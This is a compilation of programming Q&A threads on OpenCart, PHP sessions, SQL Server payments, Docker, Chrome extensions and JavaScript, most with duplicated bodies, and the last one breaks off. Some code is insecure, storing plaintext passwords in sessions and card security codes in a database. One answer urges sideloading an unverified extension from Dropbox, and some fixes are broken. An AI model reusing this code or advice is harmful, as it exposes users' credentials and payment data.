问:
Get Opencart Order ID in COD Payment Module Redirect Link
First of all thank you for giving your valuable time to help me.

My Situation -

I am using Opencart 2.1.0.1

Cash on Delivery Payment Method

Custom OnePageCheckout

Custom Theme

I have implemented a custom process which verifies the customer from our own database via a cron job running every minute.

This is the default code in Opencart
  catalog/view/theme/template/payment/cod.tpl

```<code><div class="buttons">
  <div class="pull-right">
    <input type="button" value="<?php echo $button_confirm; ?>" id="button-confirm" class="btn btn-primary" data-loading-text="<?php echo $text_loading; ?>" />
  </div>
</div>
<script type="text/javascript"><!--
$('#button-confirm').on('click', function() {
    $.ajax({
        type: 'get',
        url: 'index.php?route=payment/cod/confirm',
        cache: false,
        beforeSend: function() {
            $('#button-confirm').button('loading');
        },
        complete: function() {
            $('#button-confirm').button('reset');
        },
        success: function() {
            location = '<?php echo $continue; ?>';
        }
    });
});
//--></script>
</code>```

As I want to redirect the customer to the following page after successful checkout.
https://www.myopencartstore.com/confirm.php?order_id=$order_id

Required Action  : I want to pass on the order_id variable in the url parameter as highlighted in bold above.

My Modified Code -

```<code><div class="buttons">
  <div class="pull-right">
    <input type="button" value="<?php echo $button_confirm; ?>" id="button-confirm" class="btn btn-primary" data-loading-text="<?php echo $text_loading; ?>" />
  </div>
</div>
<script type="text/javascript"><!--
$('#button-confirm').on('click', function() {
    $.ajax({
        type: 'get',
        url: 'index.php?route=payment/cod/confirm',
        cache: false,
        beforeSend: function() {
            $('#button-confirm').button('loading');
        },
        complete: function() {
            $('#button-confirm').button('reset');
        },
        success: function() {
            location = '<?php echo 'confirm-success.php'; ?>';
        }
    });
});
//--></script>
</code>```

Please help how to do the same.

I want to bye-pass the checkout/success page.

I've tried implementing $this->session->data['order_id']; to get the Order ID parameter.

I've tried all my efforts and thus maximum I could do is to just redirect to the desired page but without any parameters.

答:
If your page url is confirm.php the follow the following things.

Open catalog\view\theme\default\template\payment\cod.tpl

change

```<code>location = '<?php echo $continue; ?>';
</code>```

to

```<code>location = '<?php echo HTTP_SERVER; ?>confirm.php';
</code>```

Or you can change on page catalog/controller/payment/cod.php

```<code>$data['continue'] = $this->url->link('checkout/success');
</code>```

to

```<code>$data['continue'] = HTTP_SERVER.'confirm.php?order_id='.$this->session->data['order_id'];
</code>```

Thanks

Edited

So you can write in this way.
In catalog\controller\checkout\success.php

after

```<code>if (isset($this->session->data['order_id'])) {
</code>```

Write

```<code>$data['order_id'] = $this->session->data['order_id'];
</code>```

For redirect from common/success page to confirm.php page after 5 sec you have to write following things before

```<code><script><!--
$(document).ready(function () {
      window.setTimeout(function(){
     window.location.href ='<?php echo HTTP_SERVER; ?>confirm.php?order_id=<?php echo $order_id; ?>'; }, 5000);
 });
 --></script>
</code>```

Body:
First of all thank you for giving your valuable time to help me.

My Situation -

I am using Opencart 2.1.0.1

Cash on Delivery Payment Method

Custom OnePageCheckout

Custom Theme

I have implemented a custom process which verifies the customer from our own database via a cron job running every minute.

This is the default code in Opencart
  catalog/view/theme/template/payment/cod.tpl

    <input type="button" value="<?php echo $button_confirm; ?>" id="button-confirm" class="btn btn-primary" data-loading-text="<?php echo $text_loading; ?>" />

As I want to redirect the customer to the following page after successful checkout.
https://www.myopencartstore.com/confirm.php?order_id=$order_id

Required Action  : I want to pass on the order_id variable in the url parameter as highlighted in bold above.

My Modified Code -

    <input type="button" value="<?php echo $button_confirm; ?>" id="button-confirm" class="btn btn-primary" data-loading-text="<?php echo $text_loading; ?>" />

Please help how to do the same.

I want to bye-pass the checkout/success page.

I've tried implementing $this->session->data['order_id']; to get the Order ID parameter.

I've tried all my efforts and thus maximum I could do is to just redirect to the desired page but without any parameters.

Body:
If your page url is confirm.php the follow the following things.

Open catalog\view\theme\default\template\payment\cod.tpl

change

location = '<?php echo $continue; ?>';

to

location = '<?php echo HTTP_SERVER; ?>confirm.php';

Or you can change on page catalog/controller/payment/cod.php

$data['continue'] = $this->url->link('checkout/success');

to

$data['continue'] = HTTP_SERVER.'confirm.php?order_id='.$this->session->data['order_id'];

Thanks

Edited

So you can write in this way.
In catalog\controller\checkout\success.php

after

if (isset($this->session->data['order_id'])) {

Write

$data['order_id'] = $this->session->data['order_id'];

For redirect from common/success page to confirm.php page after 5 sec you have to write following things before

<script><!--
$(document).ready(function () {
      window.setTimeout(function(){
     window.location.href ='<?php echo HTTP_SERVER; ?>confirm.php?order_id=<?php echo $order_id; ?>'; }, 5000);
 });
 --></script>


来源: stackexchange

问:
php sessions to authenticate user on login form
I have the following code designed to begin a session and store username/password data, and if nothing is submitted, or no session data stored, redirect to a fail page.

```<code>session_start();
if(isset($_POST['username']) || isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;
}

if(isset($_SESSION['username']) || isset($_SESSION['password'])){
    $navbar = "1";
    $logindisplay = "0";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
} else {
    header('Location:http://website.com/fail.php');
}

$authed = auth($username, $password);
if( $authed == "0" ){
    header('Location:http://website.com/fail.php');
}
</code>```

Its not working the way it should and is redirecting me to fail even though i submitted my info and stored it in the session. Am i doing something wrong?

NOTE the authed function worked fine before i added the session code.

答:
Don't use else section in second if statement.

```<code>session_start();

if(isset($_POST['username']) || isset($_POST['password'])) {

    $username = $_POST['username'];

    $password = $_POST['password'];

    $_SESSION['username'] = $username;

    $_SESSION['password'] = $password;

}

if(isset($_SESSION['username']) || isset($_SESSION['password'])){

    $navbar = "1";

    $logindisplay = "0";

    $username = $_SESSION['username'];

    $password = $_SESSION['password'];

}

$authed = auth($username, $password);

if( $authed == "0" ){

    header('Location:http://website.com/fail.php');

}
</code>```

ContentLicense: CC BY-SA 2.5

Body:
I have the following code designed to begin a session and store username/password data, and if nothing is submitted, or no session data stored, redirect to a fail page.

session_start();
if(isset($_POST['username']) || isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;
}

if(isset($_SESSION['username']) || isset($_SESSION['password'])){
    $navbar = "1";
    $logindisplay = "0";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
} else {
    header('Location:http://website.com/fail.php');
}

$authed = auth($username, $password);
if( $authed == "0" ){
    header('Location:http://website.com/fail.php');
}

Its not working the way it should and is redirecting me to fail even though i submitted my info and stored it in the session. Am i doing something wrong?

NOTE the authed function worked fine before i added the session code.

Body:
Don't use else section in second if statement.

session_start();

if(isset($_POST['username']) || isset($_POST['password'])) {

    $username = $_POST['username'];

    $password = $_POST['password'];

    $_SESSION['username'] = $username;

    $_SESSION['password'] = $password;

}

if(isset($_SESSION['username']) || isset($_SESSION['password'])){

    $navbar = "1";

    $logindisplay = "0";

    $username = $_SESSION['username'];

    $password = $_SESSION['password'];

}

$authed = auth($username, $password);

if( $authed == "0" ){

    header('Location:http://website.com/fail.php');

}

ContentLicense: CC BY-SA 3.0


问:
How to change Picker negative button text independently from OS settings
I have an app only in English language, but my phone's OS is in Spanish. I have added a Picker to my page and if I tap it to change it's value, I see that cancel button text is in Spanish. I want to show this button in English. I'm using Xamarin.Forms because it's easier for me to develop with it, but I just need to know how I can make this change only in Android. I tried changing the culture in OnCreate() method in the MainActivity, but it doesn't work (running on debug and release).

```<code>Thread.CurrentThread.CurrentCulture = CultureInfo.GetCultureInfo("en");
Thread.CurrentThread.CurrentUICulture = Thread.CurrentThread.CurrentCulture;
</code>```

Then I tried with Android specific code (again in OnCreate() method in the MainActivity):

```<code>Java.Util.Locale.Default = new Java.Util.Locale("en");
</code>```

But it doesn't work. The text of the button is still in Spanish. In this case I want to change an specific text, but there is no public property that gives me access to change it (i.e. picker.CancelButtonText). I want to display "Cancel" instead of "Cancelar". Do you know how can I change this text?

I've checked the PickerRender.cs file and I found this code:

```<code>var builder = new AlertDialog.Builder(Context);
builder.SetView(layout);
builder.SetTitle(model.Title ?? "");
builder.SetNegativeButton(global::Android.Resource.String.Cancel, (s, a) =>
{
    ElementController.SetValueFromRenderer(VisualElement.IsFocusedPropertyKey, false);
    // It is possible for the Content of the Page to be changed when Focus is changed.
    // In this case, we'll lose our Control.
    Control?.ClearFocus();
    _dialog = null;
});
</code>```

global::Android.Resource.String.Cancel is a int constant, so I can't change it. Do you know you if there is access to the negative button text?

Thank you,
Jon.

答:
global::Android.Resource.String.Cancel is a int constant, so I can't change it. Do you know you if there is access to the negative button text?

You are in the right direction, but unfortunately there is currently no way for user to access the AlertDialog of Picker, thus there is no way to customize or custom localize the Cancel button text.

The only option I can see now is to create your own Picker control using custom renderer and build the AlertDialog yourself, then you can get the button through AlertDialog.GetButton.

Body:
I have an app only in English language, but my phone's OS is in Spanish. I have added a Picker to my page and if I tap it to change it's value, I see that cancel button text is in Spanish. I want to show this button in English. I'm using Xamarin.Forms because it's easier for me to develop with it, but I just need to know how I can make this change only in Android. I tried changing the culture in OnCreate() method in the MainActivity, but it doesn't work (running on debug and release).

Thread.CurrentThread.CurrentCulture = CultureInfo.GetCultureInfo("en");
Thread.CurrentThread.CurrentUICulture = Thread.CurrentThread.CurrentCulture;

Then I tried with Android specific code (again in OnCreate() method in the MainActivity):

Java.Util.Locale.Default = new Java.Util.Locale("en");

But it doesn't work. The text of the button is still in Spanish. In this case I want to change an specific text, but there is no public property that gives me access to change it (i.e. picker.CancelButtonText). I want to display "Cancel" instead of "Cancelar". Do you know how can I change this text?

I've checked the PickerRender.cs file and I found this code:

var builder = new AlertDialog.Builder(Context);
builder.SetView(layout);
builder.SetTitle(model.Title ?? "");
builder.SetNegativeButton(global::Android.Resource.String.Cancel, (s, a) =>
{
    ElementController.SetValueFromRenderer(VisualElement.IsFocusedPropertyKey, false);
    // It is possible for the Content of the Page to be changed when Focus is changed.
    // In this case, we'll lose our Control.
    Control?.ClearFocus();
    _dialog = null;
});

global::Android.Resource.String.Cancel is a int constant, so I can't change it. Do you know you if there is access to the negative button text?

Thank you,
Jon.


问:
Mysql - php query fetch array results using multiple parameters
I have a mysql table as below,

```<code>+---+-------+-----------+
|Sl | Name  | Status    |
+---+-------+-----------+
| 1 | Name1 | Active    |
| 2 | Name2 | Inactive  |
| 3 | Name3 | Pending   |
| 4 | Name4 | Dont Know |
| 5 | Name5 | Active    |
+---+-------+-----------+
</code>```

I have a sql query $query="select * from table ";
which fetch array and give me all records. But I want to display only specific rows with  Status= Active or Inactive.

答:
Add a WHERE clause to your SQL so it becomes,

```<code>SELECT * FROM table WHERE Status='Active'
</code>```

So in your PHP code it would be,

```<code>$query = "SELECT * FROM table WHERE Status='Active'";
</code>```

Then replace "Active" with "Inactive" or "Pending", etc. depending on what you which rows you want to get.

Update 1: If you want rows that are both "Active" and "Inactive", you can add multiple expressions in the WHERE clause and combine them with "OR". For example,

```<code>SELECT * FROM table WHERE Status='Active' OR Status='Inactive'
</code>```

Update 2: You can add your !='Trashed' condition if you want, but it will have no effect on the outcome since you're only returning rows that are explicitly "Active" or "Inactive" anyway. But as this is just an example, add this to the end of the query,

```<code>AND Status!='Trashed'
</code>```

Body:
I have a mysql table as below,

+---+-------+-----------+
|Sl | Name  | Status    |
+---+-------+-----------+
| 1 | Name1 | Active    |
| 2 | Name2 | Inactive  |
| 3 | Name3 | Pending   |
| 4 | Name4 | Dont Know |
| 5 | Name5 | Active    |
+---+-------+-----------+

I have a sql query $query="select * from table ";
which fetch array and give me all records. But I want to display only specific rows with  Status= Active or Inactive.

Body:
Add a WHERE clause to your SQL so it becomes,

SELECT * FROM table WHERE Status='Active'

So in your PHP code it would be,

$query = "SELECT * FROM table WHERE Status='Active'";

Then replace "Active" with "Inactive" or "Pending", etc. depending on what you which rows you want to get.

Update 1: If you want rows that are both "Active" and "Inactive", you can add multiple expressions in the WHERE clause and combine them with "OR". For example,

SELECT * FROM table WHERE Status='Active' OR Status='Inactive'

Update 2: You can add your !='Trashed' condition if you want, but it will have no effect on the outcome since you're only returning rows that are explicitly "Active" or "Inactive" anyway. But as this is just an example, add this to the end of the query,

AND Status!='Trashed'


问:
docker x509 certificate signed by unkown authority
I'm an absolute Beginner in Docker and install on my workstation ubuntu 16.04.3 the latest docker version successfully.

But when I now try to do following:
docker run hello-world
Unable to find image 'hello-world:latest' locally
Pulling repository docker.io/library/hello-world
docker: Error while pulling image: Get https://index.docker.io/v1/repositories/library/hello-world/images: x509: certificate signed by unknown authority.
See 'docker run --help'.

I got the issue with the x509 error message.

We have in our company a firewall and I have already copied our company root certificate to /etc/docker/certs.d/
We also use a internet proxy for communication to the internet, so i configured the daemon who starts with systemd, I set the environment for the http proxy and https proxy but still get the same x509 error message.

Could somebody please help me.

thank you

$ docker -v
Docker version 1.12.6, build 78d1802

答: I found a solution with the update-ca-certificates: copy the root cert file into /usr/local/share/ca-certificates and run update-ca-certificates manpages.ubuntu.com/manpages/xenial/man8/…</p>


问:
How to add foreign key in SQL Server in ASP.NET C#
I want to know how to add a foreign key into my website through the payment section which is I created a list Seminar for user to choose first including a schedule. After that, user can click register and redirect page into payment details form which is contains credit card or cash. after user make an payment and click confirm button then the database should be increase by one include the primary key of an id (auto generate).

My problem is why I am still getting an id which is -1 not even +1 (I checked,  the database has not updated in SQL Server) because of an id is -1.

Here is my code regarding for the payment section

```<code>if (tbxName.Text != null && tbxCC.Text != null && ddlCCType.Text != null && tbxExpDate.Text != null)
{
        ShoppingCart sc = (ShoppingCart)Session["cart"];
        sc.Name = tbxName.Text;

        if (rdbCash.Checked == true)
        {
            sc.OptionPay = rdbCash.Text;
        }
        else
        {
            sc.OptionPay = rdbCC.Text;
        }

        sc.CreditCard = tbxCC.Text;
        sc.CreditCardType = ddlCCType.Text;
        sc.SecurityCode = tbxCode.Text;
        sc.CCExpiryDate = tbxExpDate.Text;
        //sc.Registration.RegId = sc.Id;

        int id = ShoppingCartDBMgr.purchaseSeminar(sc);

        lblOutput.Text = "Confirm. order id is " + id;
        //display output for payment successfully
        //lblOutput.Text = "Payment Successfully!";
        //make it null for amount, date and session of cart after transaction are being successful
        lblAmount.Text = null;
        lblDate.Text = null;
        Session["cart"] = null;
</code>```

My payment database manager code:

```<code>public static int purchaseSeminar(ShoppingCart sc)
{
    int id = -1;
    SqlConnection con = new SqlConnection(conStr);

    try
    {
        SqlCommand command = new SqlCommand();
        command.Connection = con;
        command.CommandText = "insert into Payment (payment_id, payment_name, payment_ccNo, payment_ccType, payment_ccCode, payment_expDate, payment_price, payment_optionPay, payment_date, reg_id) values (@payment_id, @payment_name, @payment_ccNo, @payment_ccType, @payment_ccCode, @payment_expDate, @payment_price, @payment_optionPay, @payment_date, @reg_id)";
        command.Parameters.AddWithValue("@payment_id", sc.Id);
        command.Parameters.AddWithValue("@payment_ccNo", sc.CreditCard);
        command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
        command.Parameters.AddWithValue("@payment_ccCode", sc.SecurityCode);
        command.Parameters.AddWithValue("@payment_expDate", sc.CCExpiryDate);
        command.Parameters.AddWithValue("@payment_price", sc.TotalAmount);
        command.Parameters.AddWithValue("@payment_optionPay", sc.OptionPay);
        command.Parameters.AddWithValue("@reg_id", sc.Registration.RegId);

        DateTime da = DateTime.Now;
        command.Parameters.AddWithValue("@payment_date", da);

        con.Open();

        command.CommandText = "SET IDENTITY_INSERT Payment ON";

        if (command.ExecuteNonQuery() > 0)
        {
            command.CommandText = "Select @@identity";
            id = Convert.ToInt32(command.ExecuteScalar());
        }

        return id;
    }
    finally
    {
        con.Close();
    }
}
</code>```

答:
This is not a good way of doing it however for your answer
you should add

This should be on your first line

```<code>command.CommandText = "SET IDENTITY_INSERT Payment On";

command.CommandText = "insert into Payment (payment_id, payment_name, payment_ccNo, payment_ccType, payment_ccCode, payment_expDate, payment_price, payment_optionPay, payment_date, reg_id) values (@payment_id, @payment_name, @payment_ccNo, @payment_ccType, @payment_ccCode, @payment_expDate, @payment_price, @payment_optionPay, @payment_date, @reg_id)";

command.Parameters.AddWithValue("@payment_id", sc.Id);
command.Parameters.AddWithValue("@payment_ccNo", sc.CreditCard);
command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
command.Parameters.AddWithValue("@payment_ccCode", sc.SecurityCode);
command.Parameters.AddWithValue("@payment_expDate", sc.CCExpiryDate);
command.Parameters.AddWithValue("@payment_price", sc.TotalAmount);
command.Parameters.AddWithValue("@payment_optionPay", sc.OptionPay);
command.Parameters.AddWithValue("@reg_id", sc.Registration.RegId);
</code>```

And this should be your last line

```<code>command.CommandText = "SET IDENTITY_INSERT Payment OFF";
</code>```

Body:
I want to know how to add a foreign key into my website through the payment section which is I created a list Seminar for user to choose first including a schedule. After that, user can click register and redirect page into payment details form which is contains credit card or cash. after user make an payment and click confirm button then the database should be increase by one include the primary key of an id (auto generate).

My problem is why I am still getting an id which is -1 not even +1 (I checked,  the database has not updated in SQL Server) because of an id is -1.

Here is my code regarding for the payment section

if (tbxName.Text != null && tbxCC.Text != null && ddlCCType.Text != null && tbxExpDate.Text != null)
{
        ShoppingCart sc = (ShoppingCart)Session["cart"];
        sc.Name = tbxName.Text;

        if (rdbCash.Checked == true)
        {
            sc.OptionPay = rdbCash.Text;
        }
        else
        {
            sc.OptionPay = rdbCC.Text;
        }

        sc.CreditCard = tbxCC.Text;
        sc.CreditCardType = ddlCCType.Text;
        sc.SecurityCode = tbxCode.Text;
        sc.CCExpiryDate = tbxExpDate.Text;
        //sc.Registration.RegId = sc.Id;

        int id = ShoppingCartDBMgr.purchaseSeminar(sc);

        lblOutput.Text = "Confirm. order id is " + id;
        //display output for payment successfully
        //lblOutput.Text = "Payment Successfully!";
        //make it null for amount, date and session of cart after transaction are being successful
        lblAmount.Text = null;
        lblDate.Text = null;
        Session["cart"] = null;

My payment database manager code:

public static int purchaseSeminar(ShoppingCart sc)
{
    int id = -1;
    SqlConnection con = new SqlConnection(conStr);

    try
    {
        SqlCommand command = new SqlCommand();
        command.Connection = con;
        command.CommandText = "insert into Payment (payment_id, payment_name, payment_ccNo, payment_ccType, payment_ccCode, payment_expDate, payment_price, payment_optionPay, payment_date, reg_id) values (@payment_id, @payment_name, @payment_ccNo, @payment_ccType, @payment_ccCode, @payment_expDate, @payment_price, @payment_optionPay, @payment_date, @reg_id)";
        command.Parameters.AddWithValue("@payment_id", sc.Id);
        command.Parameters.AddWithValue("@payment_ccNo", sc.CreditCard);
        command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
        command.Parameters.AddWithValue("@payment_ccCode", sc.SecurityCode);
        command.Parameters.AddWithValue("@payment_expDate", sc.CCExpiryDate);
        command.Parameters.AddWithValue("@payment_price", sc.TotalAmount);
        command.Parameters.AddWithValue("@payment_optionPay", sc.OptionPay);
        command.Parameters.AddWithValue("@reg_id", sc.Registration.RegId);

        DateTime da = DateTime.Now;
        command.Parameters.AddWithValue("@payment_date", da);

        con.Open();

        command.CommandText = "SET IDENTITY_INSERT Payment ON";

        if (command.ExecuteNonQuery() > 0)
        {
            command.CommandText = "Select @@identity";
            id = Convert.ToInt32(command.ExecuteScalar());
        }

        return id;
    }
    finally
    {
        con.Close();
    }
}

Body:
This is not a good way of doing it however for your answer
you should add

This should be on your first line

command.CommandText = "SET IDENTITY_INSERT Payment On";

command.CommandText = "insert into Payment (payment_id, payment_name, payment_ccNo, payment_ccType, payment_ccCode, payment_expDate, payment_price, payment_optionPay, payment_date, reg_id) values (@payment_id, @payment_name, @payment_ccNo, @payment_ccType, @payment_ccCode, @payment_expDate, @payment_price, @payment_optionPay, @payment_date, @reg_id)";

command.Parameters.AddWithValue("@payment_id", sc.Id);
command.Parameters.AddWithValue("@payment_ccNo", sc.CreditCard);
command.Parameters.AddWithValue("@payment_ccType", sc.CreditCardType);
command.Parameters.AddWithValue("@payment_ccCode", sc.SecurityCode);
command.Parameters.AddWithValue("@payment_expDate", sc.CCExpiryDate);
command.Parameters.AddWithValue("@payment_price", sc.TotalAmount);
command.Parameters.AddWithValue("@payment_optionPay", sc.OptionPay);
command.Parameters.AddWithValue("@reg_id", sc.Registration.RegId);

And this should be your last line

command.CommandText = "SET IDENTITY_INSERT Payment OFF";


问:
Elasticsearch Sense chrome plugin disabled, need to get dsl queries written in console
I am running Google Chrome Version 61.0.3163.100. I previously was running the Sense (Beta) extension version 0.9.4 until Google Chrome flagged it as malware in the extensions tab. The author of Sense has removed it from the Chrome store and it has been rolled into Kibana and renamed Console.

Problem is all the queries I wrote in the Sense console are not retrievable due to the extension being disabled. Previously, every time I opened the Sense (Beta) extension, all my previous queries would be saved and re-displayed each session. I would like to find the file location where Sense stored my queries for redisplay.

I am running Windows 10. I have tried locating my saved data by going to:

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions
```

There is nothing identifiable I can find that resembles my old data. Does anyone know where I can retrieve it?

答:
Please download this zip file from my dropbox and follow the instructions to install it. Please run the file through some anti-virus to protect yourself. Thanks to this link to help me export chrome extension.

List item Download and unzip attachment

Go to chrome://extensions

Delete the current Sense plugin installed

Check developer mode and click on "Load unpacked extension..." and select the unzipped folder.

Body:
I am running Google Chrome Version 61.0.3163.100. I previously was running the Sense (Beta) extension version 0.9.4 until Google Chrome flagged it as malware in the extensions tab. The author of Sense has removed it from the Chrome store and it has been rolled into Kibana and renamed Console.

Problem is all the queries I wrote in the Sense console are not retrievable due to the extension being disabled. Previously, every time I opened the Sense (Beta) extension, all my previous queries would be saved and re-displayed each session. I would like to find the file location where Sense stored my queries for redisplay.

I am running Windows 10. I have tried locating my saved data by going to:

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions

There is nothing identifiable I can find that resembles my old data. Does anyone know where I can retrieve it?


问:
LinkedIn Developer app was not deleted after my linkedIn account was deactivated
The issue I am facing right now is very severe. I have already spent more than 1 week, still, linkedIn wasn't able to resolve it and finally they redirect me to SO to ask LinkedIn API related question.

Actual Issue: I have created LinkedIn developer app on my linked developer account which helps me to login in my iOS application. Everything was working fine, but due to some reason my account was compromised and I requested LinkedIn support to deactivate my account. Within some days, they deactivated my account. After my account is deactivated I tried to create the same app with same bundle identifier with a different account but it shows me error "Your application identifier must be unique."

Since my account is deactivated, I cannot understand why it is not allowing me to create a developer app with same bundle identifier as before.

Does this mean that deactivation of personal account doesn't delete your developer apps and its details?

Any help will be much appreciated.

答:
A deactivated account does not remove a created appId or appBoundle from a pool of created apps.

The Google Firebase has the same strategy about created app identifiers.


问:
'int' object not iterable error: Python
I am new to python, and I am trying to run the code given below. But it keeps throwing an error:

int object not iterable.

I want to calculate the sum of sqaures in an array. Here is the code. The variable product is already defined, so that is not the worrisome part.

```<code>def sumofsquares(x1):
    result=[]
    for i in range (len(x1)):
        result.append(sum((x1)[i]**2))
    return result

print (sumofsquares(product))
</code>```

答:
Assuming product is a list containing the numbers you want to find the sum of sqaures, you can iterate through the list and calculate squares of each number and add it to a list called result. At last you can return the sum of that list.

In codes you can do like this..

```<code>def sumofsquares(x1):
    result = [] # list to store squares of each number

    for i in range(len(x1)): # iterating through the list
        result.append(x1[i] ** 2) # squaring each number and appending to the list

    return (sum(result)) # returning the sum of the list

product = [1, 2, 3] # declaring the array to find sum of sqaure
print (sumofsquares(product)) # calling the function and displaying the return value

# Output
14
</code>```

Hope this helps.!!

Title: 'int' object not iterable error: Python

Body:
I am new to python, and I am trying to run the code given below. But it keeps throwing an error:

int object not iterable.

I want to calculate the sum of sqaures in an array. Here is the code. The variable product is already defined, so that is not the worrisome part.

def sumofsquares(x1):
    result=[]
    for i in range (len(x1)):
        result.append(sum((x1)[i]**2))
    return result

print (sumofsquares(product))

Body:
Assuming product is a list containing the numbers you want to find the sum of sqaures, you can iterate through the list and calculate squares of each number and add it to a list called result. At last you can return the sum of that list.

In codes you can do like this..

def sumofsquares(x1):
    result = [] # list to store squares of each number

    for i in range(len(x1)): # iterating through the list
        result.append(x1[i] ** 2) # squaring each number and appending to the list

    return (sum(result)) # returning the sum of the list

product = [1, 2, 3] # declaring the array to find sum of sqaure
print (sumofsquares(product)) # calling the function and displaying the return value

# Output
14

Hope this helps.!!


问:
i am working on groups members and fences
```<code> public function data(Request $request)
    {
        $result = $this->_model->get_teams($this->_user->user_id);
        if (!empty($result)) {
            $team = array_only((array)$result[0], ['id', 'name', 'type', 'created_by', 'dp_id']);
            $team['status'] = $result[0]->team_status;
            $team['created_at'] = $result[0]->team_created_at;//group detail ends
            $team['members'] = array();
            foreach ($result as $row) {
                if ($team['id'] != $row->id) {
                    $teams[] = $team;
                    $team = array_only((array)$row, ['id', 'name', 'created_by']);
                    $team['status'] = $row->team_status;
                    $team['created_at'] = $row->team_created_at;
                    $team['members'] = array_only((array)$row, ['id', 'name', 'created_by', 'username', 'email', 'mobile', 'designation', 'member_id', 'role']);
                    $team['members']['territories'] = $this->_model->members_territory(array($row->member_id));
                    $team['members']['fences'] = $this->_model->members_fences(array($row->member_id));
                } else {
                    $team['members'] = array_only((array)$row, ['id', 'name', 'created_by', 'dp_id', 'username', 'email', 'mobile', 'designation', 'member_id', 'role']);
                    $team['members']['territories'] = $this->_model->members_territory(array($row->member_id));
                    $team['members']['fences'] = $this->_model->members_fences(array($row->member_id));
                }
            }
            $teams[] = $team;
            $team['members'][] = array_except((array)$row, ['id', 'name', 'type', 'created_by', 'team_status', 'team_created_at', 'dp_id']);
            $this->_response->status = "OK";
            $this->_response->message = "success";
            $this->_response->result = $teams;
        } else {
            $this->_response->status = "ZERO_RESULTS";
            $this->_response->message = "No team registered against this user";
        }
        return response()->json($this->_response);
    }
</code>```

i want to fetch all of my members from group here i am doing little mistake
and i cant find it please make same help,me  to find where i am doing actually mistake

答: Try PHPCodeChecker, it helps me all the time :)</p>

Body:
 public function data(Request $request)
    {
        $result = $this->_model->get_teams($this->_user->user_id);
        if (!empty($result)) {
            $team = array_only((array)$result[0], ['id', 'name', 'type', 'created_by', 'dp_id']);
            $team['status'] = $result[0]->team_status;
            $team['created_at'] = $result[0]->team_created_at;//group detail ends
            $team['members'] = array();
            foreach ($result as $row) {
                if ($team['id'] != $row->id) {
                    $teams[] = $team;
                    $team = array_only((array)$row, ['id', 'name', 'created_by']);
                    $team['status'] = $row->team_status;
                    $team['created_at'] = $row->team_created_at;
                    $team['members'] = array_only((array)$row, ['id', 'name', 'created_by', 'username', 'email', 'mobile', 'designation', 'member_id', 'role']);
                    $team['members']['territories'] = $this->_model->members_territory(array($row->member_id));
                    $team['members']['fences'] = $this->_model->members_fences(array($row->member_id));
                } else {
                    $team['members'] = array_only((array)$row, ['id', 'name', 'created_by', 'dp_id', 'username', 'email', 'mobile', 'designation', 'member_id', 'role']);
                    $team['members']['territories'] = $this->_model->members_territory(array($row->member_id));
                    $team['members']['fences'] = $this->_model->members_fences(array($row->member_id));
                }
            }
            $teams[] = $team;
            $team['members'][] = array_except((array)$row, ['id', 'name', 'type', 'created_by', 'team_status', 'team_created_at', 'dp_id']);
            $this->_response->status = "OK";
            $this->_response->message = "success";
            $this->_response->result = $teams;
        } else {
            $this->_response->status = "ZERO_RESULTS";
            $this->_response->message = "No team registered against this user";
        }
        return response()->json($this->_response);
    }

i want to fetch all of my members from group here i am doing little mistake
and i cant find it please make same help,me  to find where i am doing actually mistake


问:
How to extract parts of nested multi-level JSON objects / array and flatten it with JavaScript
I'm working with the following data structure:

```<code>"data": {
    "products": [
        [
            {
                "category": "A",
                "items": [
                    {
                        "name": "Aloe",
                        "price": 10
                    },
                    {
                        "name": "Apples",
                        "price": 5
                    }
                ]
            },
            {
                "category": "B",
                "items": [
                    {
                        "name": "Bread",
                        "price": 5
                    }
                ]
            }
        ],
        [
            {
                "category": "C",
                "items": [
                    {
                        "name": "Candy",
                        "price": 5
                    },
                    {
                        "name": "Crayon",
                        "price": 5
                    }
                ]
            },
            {
                "category": "D",
                "items": [
                    {
                        "name": "Dice",
                        "price": 5
                    },
                    {
                        "name": "Doll",
                        "price": 10
                    }
                ]
            }
        ]
    ]
}
</code>```

I'd like extract parts of it to flatten so the results is as follows:

```<code>[
    {
        "name": "Aloe",
        "price": 10
    },
    {
        "name": "Apples",
        "price": 5
    },
    {
        "name": "Bread",
        "price": 5
    },
    {
        "name": "Candy",
        "price": 5
    },
    {
        "name": "Crayon",
        "price": 5
    },
    {
        "name": "Dice",
        "price": 5
    },
    {
        "name": "Doll",
        "price": 10
    }
]
</code>```

How can I accomplish this?

I have tried this:

```<code>for (var sets in data.products) {
  for (var categories in sets) {
    for (var items in categories) {
      for (var item in items) {
        // assemble new array
      }
    }
  }
}
</code>```

... but had problems looping through the children objects. I've found a couple other similar questions, but they seem to address simpler data structures, and flatten the entire object rather than parts of it.

Any pointers would be appreciated.

答:
```<code>input.data.products. ....
</code>```

maube Change in row 1 depend on your variable name

```<code>var result =[]
input.data.products.forEach(function (product){
    product.forEach(function(productinfo){
      productinfo.items.forEach(function (item){

          result.push(item)

      })

    })

})
</code>```

Body:
I'm working with the following data structure:

"data": {
    "products": [
        [
            {
                "category": "A",
                "items": [
                    {
                        "name": "Aloe",
                        "price": 10
                    },
                    {
                        "name": "Apples",
                        "price": 5
                    }
                ]
            },
            {
                "category": "B",
                "items": [
                    {
                        "name": "Bread",
                        "price": 5
                    }
                ]
            }
        ],
        [
            {
                "category": "C",
                "items": [
                    {
                        "name": "Candy",
                        "price": 5
                    },
                    {
                        "name": "Crayon",
                        "price": 5
                    }
                ]
            },
            {
                "category": "D",
                "items": [
                    {
                        "name": "Dice",
                        "price": 5
                    },
                    {
                        "name": "Doll",
                        "price": 10
                    }
                ]
            }
        ]
    ]
}

I'd like extract parts of it to flatten so the results is as follows:

[
    {
        "name": "Aloe",
        "price": 10
    },
    {
        "name": "Apples",
        "price": 5
    },
    {
        "name": "Bread",
        "price": 5
    },
    {
        "name": "Candy",
        "price": 5
    },
    {
        "name": "Crayon",
        "price": 5
    },
    {
